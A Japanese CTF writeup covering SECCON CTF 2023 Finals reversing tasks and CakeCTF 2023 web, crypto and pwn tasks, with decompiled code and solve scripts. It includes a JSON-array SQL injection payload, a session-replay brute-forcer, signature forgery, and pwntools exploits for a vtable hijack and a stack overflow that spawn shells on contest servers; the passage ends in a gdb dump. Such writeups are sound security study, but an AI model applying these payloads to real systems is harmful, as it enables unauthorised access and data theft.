SECCON CTF 2023 Finals Writeup

2023/12/23と12/24の2日間にオンサイトで開催されたSECCON CTF 2023 FinalsのWriteupです。

Double Lariatで参加し、国内7位という結果になりました。

去年は書くタイミングを逃してしまい、Writeupを出せないまま終わったので今年はちゃんと書きました。

[rev] ReMOV

コマンドライン引数でフラグを与えると正誤を判定してくれるフラグチェッカーremovが与えられます。

$ ./remov "SECCON{dummy}"
Wrong...

Ghidraでデコンパイルすると、最初にFUN_001016e9を呼び出して大量のmovを実行していることが分かりました。

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined processEntry entry()
             undefined         AL:1           <RETURN>
                             entry                                           XREF[2]:     Entry Point(*), 00100018(*)  
        00101480 e8 64 02        CALL       FUN_001016e9                                     undefined FUN_001016e9()
                 00 00
        00101485 48 b8 f3        MOV        RAX,0x20b004ebfa1e0ff3
                 0f 1e fa 
                 eb 04 b0 20
        0010148f 48 b8 55        MOV        RAX,-0x5cc7d41c47f814ab
                 eb 07 b8 
                 e3 2b 38 a3
        00101499 48 b8 53        MOV        RAX,0x46c54650b807eb53
                 eb 07 b8 
                 50 46 c5 46
        001014a3 48 b8 8b        MOV        RAX,-0x54ffb14efdbbb75
                 44 24 10 
                 eb 04 b0 fa
        001014ad 48 b8 48        MOV        RAX,-0x6ffc14e7dbab72b8
                 8d 54 24 
                 18 eb 03 90
        001014b7 48 b8 83        MOV        RAX,-0x1649bffa14fe077d
                 f8 01 eb 
                 05 40 b6 e9
        001014c1 48 b8 7e        MOV        RAX,-0x78624799f9148582
                 7a eb 06 
                 66 b8 9d 87
        001014cb 48 b8 48        MOV        RAX,-0x624ffb14f7a574b8
                 8b 5a 08 
                 eb 04 b0 9d

FUN_001016e9は、リターンアドレスに2加算したアドレスにジャンプする関数です。

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined FUN_001016e9()
             undefined         AL:1           <RETURN>
                             FUN_001016e9                                    XREF[1]:     entry:00101480(c)  
        001016e9 58              POP        RAX
        001016ea 48 ff c0        INC        RAX
        001016ed 48 ff c0        INC        RAX
        001016f0 50              PUSH       RAX
        001016f1 c3              RET

静的解析してスマートに解くという選択肢もあったのですが、静的解析に集中しすぎて解くスピードが大幅に落ちてしまうことが過去に何度もあったので泥臭く動的解析することにしました。

エントリポイントにブレークポイントを設定して、siでポチポチしていくと以下の処理を実行していることが分かりました。以下では、コマンドライン引数の第一引数をinputと記述しています。

  1. コマンドライン引数が与えられているか判定する
  2. フラグが32文字か判定する
  3. inputの先頭がSECCON{か判定する
  4. inputの末尾が}か判定する
  5. ptraceでデバッガの検知(検知してもプログラムが終了するわけではない)
  6. inputを8byteずつencryptする
  7. 6で求めたものがencryptしたフラグと一致しているか判定する

6, 7の逆の処理を行うコードを書いてフラグを入手しました。

from Crypto.Util.number import *

def wrap(x):
    return x & 0xffffffffffffffff

def step(init):
    rax = init
    rdx = rax
    rax = wrap(rax << 0xd)
    rax = wrap(rax ^ rdx)
    rdx = rax
    rdx = wrap(rdx >> 7)
    rdx = wrap(rdx ^ rax)
    rax = rdx
    rax = wrap(rax << 0x11)
    rax = wrap(rax ^ rdx)
    rax &= 0xffffffffffffffff
    rdx &= 0xffffffffffffffff
    return rax

ans = [0xbde671e813ba0ec4, 0xfe313878bfd3832a, 0xefe4966fa7747a84, 0xac6a45cfcc93f053]
flag_parts = [b''] * 4
iv = 0x1b75f5867fda13b0 # anti-debugを回避しないと0xe48a0a798025ec50になって沼る

x = step(iv)
flag_parts[0] = ans[0] ^ x

x = flag_parts[0]
for i in range(1, 4):
    x = step(x)
    flag_parts[i] = ans[i] ^ x

print(b''.join(long_to_bytes(e)[::-1] for e in flag_parts))
$ python3 rev.py
b'SECCON{y3t_4n0th3r_m0vfu5c4t0r?}'

first blood, うれしい

[rev] efsbk

実行ファイルefsbk.exeflag.binが与えられます。

とりあえずGhidraでefsbk.exeをデコンパイルしてmain関数を見に行きます。

void main(void)

{
  uint uVar1;
  DWORD DVar2;
  BOOL BVar3;
  PCCERT_CONTEXT hCertStore;
  PCCERT_CONTEXT pCertContext;
  HANDLE pvVar4;
  BYTE *pBVar5;
  undefined auStackY_f8 [32];
  CRYPT_DATA_BLOB local_b8;
  PVOID local_a8;
  DWORD local_a0;
  DWORD local_9c;
  WCHAR local_98 [64];
  ulonglong local_18;
  
  local_18 = DAT_140005008 ^ (ulonglong)auStackY_f8;
  pCertContext = (PCCERT_CONTEXT)0x0;
  local_a8 = (PVOID)0x0;
  local_a0 = 0x40;
  local_b8 = (CRYPT_DATA_BLOB)ZEXT816(0);
  DAT_140005630 =
       CreateFileW(L"flag.bin",0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,(HANDLE)0x0);
  hCertStore = pCertContext;
  if (((DAT_140005630 != (HANDLE)0xffffffffffffffff) &&
      (DVar2 = OpenEncryptedFileRawW(L"flag.txt",0,&local_a8), DVar2 == 0)) &&
     (DVar2 = ReadEncryptedFileRaw((PFE_EXPORT_FUNC)&LAB_140001000,(PVOID)0x0,local_a8),
     pCertContext = (PCCERT_CONTEXT)0x0, hCertStore = (PCCERT_CONTEXT)0x0, DVar2 == 0)) {
    while (DAT_140005628 == 0) {
      Sleep(1);
    }
    GetUserNameW(local_98,&local_a0);
    hCertStore = (PCCERT_CONTEXT)CertOpenSystemStoreW(0,L"MY");
    if (((hCertStore != (PCCERT_CONTEXT)0x0) &&
        (pCertContext = CertFindCertificateInStore
                                  (hCertStore,1,0,0x80007,local_98,(PCCERT_CONTEXT)0x0),
        pCertContext != (PCCERT_CONTEXT)0x0)) &&
       (BVar3 = PFXExportCertStoreEx(hCertStore,&local_b8,L"SECCON CTF 2023 Finals",(void *)0x0,7),
       BVar3 != 0)) {
      uVar1 = local_b8.cbData;
      pvVar4 = GetProcessHeap();
      pBVar5 = (BYTE *)HeapAlloc(pvVar4,0,(ulonglong)uVar1);
      local_b8.pbData = pBVar5;
      BVar3 = PFXExportCertStoreEx(hCertStore,&local_b8,L"SECCON CTF 2023 Finals",(void *)0x0,7);
      if (BVar3 != 0) {
        WriteFile(DAT_140005630,local_b8.pbData,local_b8.cbData,&local_9c,(LPOVERLAPPED)0x0);
      }
    }
  }
  if (DAT_140005630 != (HANDLE)0x0) {
    CloseHandle(DAT_140005630);
  }
  if (local_a8 != (PVOID)0x0) {
    CloseEncryptedFileRaw(local_a8);
  }
  if (local_b8.pbData != (BYTE *)0x0) {
    pvVar4 = GetProcessHeap();
    HeapFree(pvVar4,0,local_b8.pbData);
  }
  if (pCertContext != (PCCERT_CONTEXT)0x0) {
    CertFreeCertificateContext(pCertContext);
  }
  if (hCertStore != (PCCERT_CONTEXT)0x0) {
    CertCloseStore(hCertStore,0);
  }
  FUN_1400012e0(local_18 ^ (ulonglong)auStackY_f8);
  return;
}

上のコードの処理をまとめると、主に以下の2つの処理を実行していることが分かりました。

  1. ReadEncryptedFileRawflag.txtのバックアップflag.binを作成
  2. PFXExportCertStoreExflag.binの末尾に証明書を書き込む

ReadEncryptedFileRawAのドキュメントを読むと、Windows EFS(Encrypted File System)に関連するAPIであることが書かれています。EFSで暗号化されたファイルの復号方法が分かれば何とかなりそうです。調べてみたら以下のページが見つかりました。

jpwinsup.github.io

このページから暗号化されたファイルの復号には以下の2つの要素が必要であることが分かります。

  1. 暗号化されたファイルの本体
  2. 証明書

flag.txtの復元

flag.binReadEncryptedFileRawによってバックアップされたファイルであるため、元の暗号化されたファイルに復元する必要があります。復元方法について手がかりを得るためにReadEncryptedRawのドキュメントを詳しく読んでみると、解説の欄に以下の記述が見つかりました。

暗号化されたファイルを復元するには、ulFlags パラメーターで CREATE_FOR_IMPORTを指定して OpenEncryptedFileRaw を呼び出します。 次 に WriteEncryptedFileRaw を呼び出し、アプリケーション定義のインポート コールバック関数のアドレスを渡します。

ここに書かれていることをそのまま実行すれば、flag.txtの復元が実現できそうです。

具体的には以下のコードを作成して、flag.txtを復元しました。

#include <windows.h>
#include <stdio.h>

HANDLE hFile;

DWORD callback(PBYTE pbData, PVOID pvCallbackContext, PULONG ulLength) {
    CHAR buf[256];
    DWORD numRead;
    BOOL bResult;

    bResult = ReadFile(hFile, buf, sizeof(buf), &numRead, NULL);
    if (!bResult) {
        *ulLength = 0;
        return ERROR_SUCCESS;
    }

    for (int i = 0; i < numRead; i++) {
        pbData[i] = buf[i];
    }
    *ulLength = numRead;
    return ERROR_SUCCESS;
}

int main() {
    PVOID pvContext;
    DWORD numWrite;

    hFile = CreateFileA("flag.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == NULL) {
        goto END;
    }

    OpenEncryptedFileRawA("flag.txt", CREATE_FOR_IMPORT,&pvContext);
    numWrite = WriteEncryptedFileRaw(callback, NULL, pvContext);

END:
    if (hFile != NULL) {
        CloseHandle(hFile);
    }
    if (pvContext != NULL) {
        CloseEncryptedFileRaw(pvContext);
    }
}

証明書の抽出

flag.binには復号するための証明書が含まれているはずなのですが、証明書の形式が分からないためflag.binをどこで区切れば良いか分かりません。

そこでPFX関係のいい感じのAPIが無いか探してみるとPFXisPFXBlobという関数が見つかりました。この関数は、引数に渡したCRYPT_DATA_BLOB型のデータがpfx形式でデコードできるか判定してくれる関数です。

flag.binの先頭から任意の位置から末尾までをCRYPT_DATA_BLOBに書き込んでPFXisPFXBlobで判定することで証明書の抽出を行いました。

#include <windows.h>
#include <stdio.h>

void savePFX(CRYPT_DATA_BLOB pfx) {
    HANDLE hFile;
    DWORD numWrite;

    hFile = CreateFileA("hogehoge.pfx", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    WriteFile(hFile, pfx.pbData, pfx.cbData, &numWrite, NULL);
    CloseHandle(hFile);
}

int main() {
    HANDLE hFirstFile;
    WIN32_FIND_DATA wFindData;
    BYTE buf[8192];
    CRYPT_DATA_BLOB pfx;
    DWORD numRead;

    HANDLE hFile;

    hFile = CreateFileA("flag.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    ReadFile(hFile, buf, sizeof(buf), &numRead, NULL);

    for (int i = 0; i < numRead; i++) {
        pfx.cbData = numRead - i;
        pfx.pbData = (PBYTE)buf + i;

        if (PFXIsPFXBlob(&pfx)) {
            savePFX(pfx);
            break;
        }
    }

    CloseHandle(hFile);
}

最後に得られたhogehoge.pfxをインポートしてflag.txtを開くとフラグが得られました。

SECCON{c33f407edefbda181faf764126df90cd28fa467750d25ff5aab80c1ea1108ec4}

[rev] call (upsolve)

call.exe.dmpという名前のダンプファイルが与えられます。

とりあえずGhidraでデコンパイルしてmain関数を見に行きます。

int __cdecl main(int _Argc,char **_Argv,char **_Env)

{
  int result;
  size_t slen;
  uint input;
  char buf [32];
  char input_suffix [9];
  code *local_2c;
  code *local_28;
  int x;
  int local_20;
  uint k;
  char *buf_ptr;
  uint z;
  int y;
  uint j;
  uint i;
  
  FUN_00cf0fe0();
  fwprintf_l((wchar_t *)s_FLAG:_00d3e000);
  result = FUN_00d0bf90((wchar_t *)&DAT_00d3e008);
  if ((((result == 1) && (slen = _strlen((char *)&input), slen == 0x28)) &&
      (result = check_prefix(&input,(uint *)s_SECCON{_00d3e010,7), result == 0)) &&
     (result = _strcmp(input_suffix,&DAT_00d3e018), result == 0)) {
    buf_ptr = buf;
    for (i = 0; i < 0x20; i = i + 1) {
      if ((buf_ptr[i] < '!') || ('|' < buf_ptr[i])) goto LAB_00d0beb3;
    }
    for (j = 0; j < 0x20; j = j + 1) {
      x = 0;
      y = 0;
      local_20 = 1;
      z = (int)buf_ptr[j] << 5 | j;
      for (k = 0; k < 0xc; k = k + 1) {
        local_2c = FUN_00cb1030 + (x + y + (z & 1)) * 0x20;
        local_28 = local_2c;
        (*(code *)PTR__guard_check_icall_00d24114)();
        (*local_28)();
        local_20 = local_20 * 2;
        y = y * 2 + (z & 1) * 2;
        z = z >> 1;
        x = x + local_20;
      }
    }
    _puts(s_Correct!_00d3e01c);
    result = 0;
  }
  else {
LAB_00d0beb3:
    _puts(s_Wrong..._00d3e028);
    result = 1;
  }
  return result;
}

最初のif文はフラグの長さとフォーマットをチェックしているだけで、for文の中身が重要です。入力されたフラグの各文字に対して、FUN_00cb1030をベースとして動的に関数のアドレスを計算して呼び出しています。

      z = (int)buf_ptr[j] << 5 | j;
      for (k = 0; k < 0xc; k = k + 1) {
        local_2c = FUN_00cb1030 + (x + y + (z & 1)) * 0x20;
        local_28 = local_2c;
        (*(code *)PTR__guard_check_icall_00d24114)();
        (*local_28)();

FUN_00cb1030xor eax, eaxを実行するだけの関数で、同様の関数が0x10でalignされて並んでいます。

問題文の「間違ったフラグを入力するとabortする」という記述から__guard_check_icall関数が気になります。Googleで調べてみるとControl Flow Guardというセキュリティ機構が関係していることが分かりました。これは、GuardCFFunctionTable内に存在しない関数が呼び出されたときに強制終了させるという機構らしいです*1*2

GhidraでFUN_00cb1030のXREFを見ると実際のGuardCFFunctionTableが見つかり、その中身はFUN_00cb1030, FUN_00cb1040, ...と関数のアドレスが並んでいます。

GuardCFFunctionTable

関数のアドレスが0x10でalignされていることから、table内の連続する2要素が指すアドレスの差が0x10でないような部分を見つけられれば、「呼び出すとabortする関数のアドレス」を見つけられそうです。

さすがに手動で見つけるのは大変なので自動化します。はじめに以下のGhidra scriptを実行してGuardCFFunctionTableを書き出します。

with open("functable.bin", "wb") as f:
    f.write(getBytes(toAddr(0xd24164), 0xd374ee-0xd24164))

上の方法で「呼び出すとabortする関数のアドレス」を見つけて、フラグの各文字を総当たりで求めるとフラグが手に入りました。

import struct

d = open("functable.bin", "rb").read()

# アドレスの差分が0x10でないような要素を見つける
addr_set = set()
prev = 0x1010
for i in range(0, len(d), 5):
    addr = d[i:i+4]
    addr = struct.unpack('<I', addr)[0]
    if addr - prev != 0x10:
        addr_set.add(addr - 0x10)
    prev = addr

# flag[idx] = cか判定する
def check(c, idx):
    x, y, z = 0, 0, (c << 5) | idx
    w = 1
    for k in range(0xc):
        addr = 0x1030 + (x + y + (z & 1)) * 0x20
        if addr in addr_set:
            return False
        w = w * 2
        x = w + x
        y = y * 2 + (z & 1) * 2
        z = z >> 1
    return True

print("SECCON{", end="")
for j in range(0x20):
    for i in range(ord('!'), ord('|')):
        if check(i, j):
            print(chr(i), end="")
print("}")
$ python3 hoge.py
SECCON{fL4g_cH3cK3r_bA5eD_0n_CFG_Ch3Ck!}

GuardCFFunctionTableの存在自体は競技時間中に気づけていたので、ちゃんと調べておけば解けていたと思います。悔しい。

感想

callを解けなかったのが非常に悔しいですが、どの問題も楽しく取り組むことができたと思います。特にdigicakeはオンサイトならではといった感じがして良かったです。運営の皆様、本当にありがとうございました。来年も決勝進出できるように精進していきたいです。

CakeCTF 2023 Writeup

2023/11/11 14:00 (JST) ~ 2023/11/12 14:00 (JST)に開催されたCakeCTF 2023のWriteupです。

個人チームmisoで参加し、968pt獲得して正の得点を獲得した729チーム中37位でした。

[web] Country DB

与えられたURLにアクセスすると、Country Codeを入力すると、それに対応した国名が表示されるサービスが表示されます。

適当にJPを入力して、Searchを押すとJapanが表示されました。

データベースの初期化を行うinit_db.pyを見ると、フラグはCountry Codeを保存しているテーブルとは別にflagテーブルに保存されています。

import sqlite3
import os

FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
  code TEXT NOT NULL,
  name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
  flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))

# Country list from https://gist.github.com/vxnick/380904
countries = [
    ('AF', 'Afghanistan'),
...
    ('ZW', 'Zimbabwe'),
]
conn.executemany("INSERT INTO country VALUES (?, ?)", countries)

conn.commit()
conn.close()

app.pyを確認していきます。検索処理を行うapi_searchのcodeの検証部分に着目すると、codeの型をチェックしていない点が気になります。

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

また、db_searchでは、codeを文字列に変換して直接クエリに埋め込んでいることがわかります。

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        print(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

以上のことから、[') UNION SELECT flag FROM flag;--', 'hoge"]をcodeに設定したリクエストを飛ばすと、SELECT name FROM country WHERE code=UPPER('[') UNION SELECT flag FROM flag;--', hoge'')を実行してくれます。

import requests

url = "http://countrydb.2023.cakectf.com:8020/api/search"

data = {
    "code": [") UNION SELECT flag FROM flag;--", "JP"]
}

res = requests.post(url, json=data)
print(res.text)
$ python3 solve.py
{"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}

[web] TOWFL

与えられたURLにアクセスし、「Start Exam」を押すとテストが始まります。

ソースコードを見ていきます。問題はセッションごとに作成され、セッションIDに対応付けて保存されています。

@app.route("/api/start", methods=['POST'])
def api_start():
    if 'eid' in flask.session:
        eid = flask.session['eid']
    else:
        eid = flask.session['eid'] = os.urandom(32).hex()

    # Create new challenge set
    db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
    return {'status': 'ok'}

/api/submitに答案を提出すると、問題の正誤に合わせてデータベース中のresultsが更新されます。

@app.route("/api/submit", methods=['POST'])
def api_submit():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    try:
        answers = flask.request.get_json()
    except:
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Get answers
    eid = flask.session['eid']
    challs = json.loads(db().get(eid))
    if not isinstance(answers, list) \
       or len(answers) != len(challs):
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Check answers
    for i in range(len(answers)):
        if not isinstance(answers[i], list) \
           or len(answers[i]) != len(challs[i]['answers']):
            return {'status': 'error', 'reason': 'Invalid request.'}

        for j in range(len(answers[i])):
            challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]

    # Store information with results
    db().set(eid, json.dumps(challs))
    return {'status': 'ok'}

得点を計算する/api/scoreでは、resultsに応じてスコアを計算し、満点だった場合フラグを返す処理を行っています。レスポンスを返す前にセッションの情報は消されるものの、問題の情報はデータベースから削除されていません。

@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score
    challs = json.loads(db().get(flask.session['eid']))
    score = 0
    for chall in challs:
        for result in chall['results']:
            if result is True:
                score += 1

    # Is he/she worth giving the flag?
    if score == 100:
        flag = os.getenv("FLAG")
    else:
        flag = "Get perfect score for flag"

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}

以上のことから、

  1. /api/startで新たにセッションを作成する。このとき、セッションの情報を保存しておく。
  2. 答案を作成し、/api/submitに投げる。
  3. /api/scoreにアクセスし、点数の情報を取得する。
  4. 1.で保存したセッションの情報をCookieにセットして2.に戻る

という手順を繰り返せば総当たりで解答を求められそうです。

import requests
import time

url = "http://towfl.2023.cakectf.com:8888"
start_url = f"{url}/api/start"
question_url = f"{url}/api/question"
submit_url = f"{url}/api/submit"
score_url = f"{url}/api/score"

# start session
s = requests.Session()
res = s.post(start_url)
cookies = res.cookies
eid = cookies.get('session')

submission = [[0 for __ in range(10)] for _ in range(10)]
score = 0
for i in range(10):
    for j in range(10):
        print(f"[+] solve Q{i*10+j+1:03}")
        max_score, choice = -1, -1
        for ans in range(4):
            submission[i][j] = ans
            s.post(submit_url, json=submission)
            res = s.get(score_url)
            s.cookies.set("session", eid)
            time.sleep(2)

            score = res.json()["data"]["score"]
            if score > max_score:
                max_score, choice = score, ans

        submission[i][j] = choice

res = s.get(score_url)
print(res.text)
$ python solve.py
[+] solve Q001
[+] solve Q002
...
[+] solve Q099
[+] solve Q100
{"data":{"flag":"\"CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}\"","score":100},"status":"ok"}

[crypto] simple signature

cake_does_not_eat_cat以外の文字列の署名と、署名の検証を行うサーバーのプログラムserver.pyが与えられます。

import os
import sys
from hashlib import sha512
from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD
import signal


flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")

p = getStrongPrime(512)
g = 2


def keygen():
    while True:
        x = getRandomRange(2, p-1)
        y = getRandomRange(2, p-1)
        w = getRandomRange(2, p-1)

        v = w * y % (p-1)
        if GCD(v, p-1) != 1:
            continue
        u = (w * x - 1) * inverse(v, p-1) % (p-1)
        return (x, y, u), (w, v)


def sign(m, key):
    x, y, u = key
    r = getRandomRange(2, p-1)

    return pow(g, x*m + r*y, p), pow(g, u*m + r, p)


def verify(m, sig, key):
    w, v = key
    s, t = sig

    return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p


def h(m):
    return int(sha512(m.encode()).hexdigest(), 16)


if __name__ == '__main__':
    magic_word = "cake_does_not_eat_cat"
    skey, vkey = keygen()

    print(f"p = {p}")
    print(f"g = {g}")
    print(f"vkey = {vkey}")

    signal.alarm(1000)

    while True:
        choice = input("[S]ign, [V]erify: ").strip()
        if choice == "S":
            message = input("message: ").strip()
            assert message != magic_word

            sig = sign(h(message), skey)
            print(f"(s, t) = {sig}")

        elif choice == "V":
            message = input("message: ").strip()
            s = int(input("s: ").strip())
            t = int(input("t: ").strip())

            assert 2 <= s < p
            assert 2 <= t < p

            if not verify(h(message), (s, t), vkey):
                print("invalid signature")
                continue

            print("verified")
            if message == magic_word:
                print(f"flag = {flag}")
                sys.exit(0)

        else:
            break

w, vが与えられているので、v = wy \mod p-1より、w^{-1}v \mod p-1を計算することでyが求まります。また、xの値を適当に決めることでuが求まるので、x, y, z, u, vの全てのパラメータを手に入れることができ、任意の文字列の署名を作成できます。

from pwn import *
from hashlib import sha512
from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD
import ast

io = remote("crypto.2023.cakectf.com", 10444)

def h(m):
    return int(sha512(m.encode()).hexdigest(), 16)

io.recvuntil(b'=')
p = int(io.recvline())

io.recvuntil(b'=')
g = int(io.recvline())

io.recvuntil(b'=')
w, v = ast.literal_eval(io.recvline().decode())

x = 2
y = inverse(w, p-1) * v % (p-1)
u = (w*x - 1) * inverse(v, p-1) % (p-1)

m = h('cake_does_not_eat_cat')
r = getRandomRange(2, p-1)
s = pow(g, x*m + r*y, p)
t = pow(g, u*m + r, p)

print("cake_does_not_eat_cat")
print(s)
print(t)

io.interactive()
$ python3 solve.py
[+] Opening connection to crypto.2023.cakectf.com on port 10444: Done
[*] Switching to interactive mode
verified
flag = CakeCTF{does_yoshiking_eat_cake_or_cat?}

[pwn] vtable4b

指定されたサーバにアクセスするとvtableを利用したexploitのチュートリアルのようなものが始まります。

$ nc vtable4b.2023.cakectf.com 9000
Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:

  class Cowsay {
  public:
    Cowsay(char *message) : message_(message) {}
    char*& message() { return message_; }
    virtual void dialogue();

  private:
    char *message_;
  };

An instance of this class is allocated in the heap:

  Cowsay *cowsay = new Cowsay(new char[0x18]());

You can
 1. Call `dialogue` method:
  cowsay->dialogue();

 2. Set `message`:
  std::cin >> cowsay->message();

Last but not least, here is the address of `win` function which you should call to get the flag:
  <win> = 0x55da312c661a

1. Use cowsay
2. Change message
3. Display heap
>

Cowsayのvtableにmessageのアドレスを書き込み、messageの最初の8バイトをwin関数のアドレスにすることで、Cowsay::dialogue呼び出し時にwin関数を呼び出せます。

from pwn import *

p = remote('vtable4b.2023.cakectf.com', 9000)

p.recvuntil(b"<win> = ")
win_addr = int(p.recvline(), 16)

# get message address
p.sendlineafter(b'> ', b'3')
p.recvuntil(b'+------------------+\n')
addr_start = int(p.recvline().split(b' ')[0], 16)
message_addr = addr_start + 0x10

payload = p64(win_addr)
payload += b'A' * 0x18
payload += p64(message_addr)

p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', payload)

p.interactive()
$ python3 solve.py
[+] Opening connection to vtable4b.2023.cakectf.com on port 9000: Done
[*] Switching to interactive mode
1. Use cowsay
2. Change message
3. Display heap
> $ 1
[+] You're trying to use vtable at 0x55e4d7b38eb0
[+] Congratulations! Executing shell...
$ $ cat /flag*
CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}

[pwn] bofww

入力した名前と年齢を表示するだけのプログラムbofwwとそのソースコード、Dockerfileが与えられます。

#include <iostream>

void win() {
  std::system("/bin/sh");
}

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;
}

__attribute__((constructor))
void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
}

名前を入力する際に、304バイト以上の長い文字列を与えてやるとSegmentation faultが発生します。

$ ./bofww
What is your first name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
How old are you? 1
Segmentation fault

gdbを用いて詳しく調べるとname = _nameの部分で代入先のnameのアドレスが、入力した文字列によって上書きされていることが確認できます。

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────
 RAX  0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 RBX  0x0
 RCX  0x7fffffffdb20 ◂— 0x1
 RDX  0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA')
*RDI  0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 RSI  0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA')
 R8   0x0
... 
────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────
   0x40139b <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+139>    call   std::istream::operator>>(int&)@plt                      <std::istream::operator>>(int&)@plt>

   0x4013a0 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+144>    lea    rdx, [rbp - 0x110]
   0x4013a7 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+151>    mov    rax, qword ptr [rbp - 0x130]
   0x4013ae <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+158>    mov    rsi, rdx
   0x4013b1 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+161>    mov    rdi, rax
 ► 0x4013b4 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+164>    call   std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt                      <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt>
        rdi: 0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
        rsi: 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA')
        rdx: 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA')
        rcx: 0x7fffffffdb20 ◂— 0x1

   0x4013b9 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+169>    mov    edx, dword ptr [rbp - 0x114]
   0x4013bf <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+175>    mov    rax, qword ptr [rbp - 0x128]
   0x4013c6 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+182>    mov    dword ptr [rax], edx
   0x4013c8 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+184>    nop
   0x4013c9 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+185>    mov    rax, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp     0x7fffffffdb50 —▸ 0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
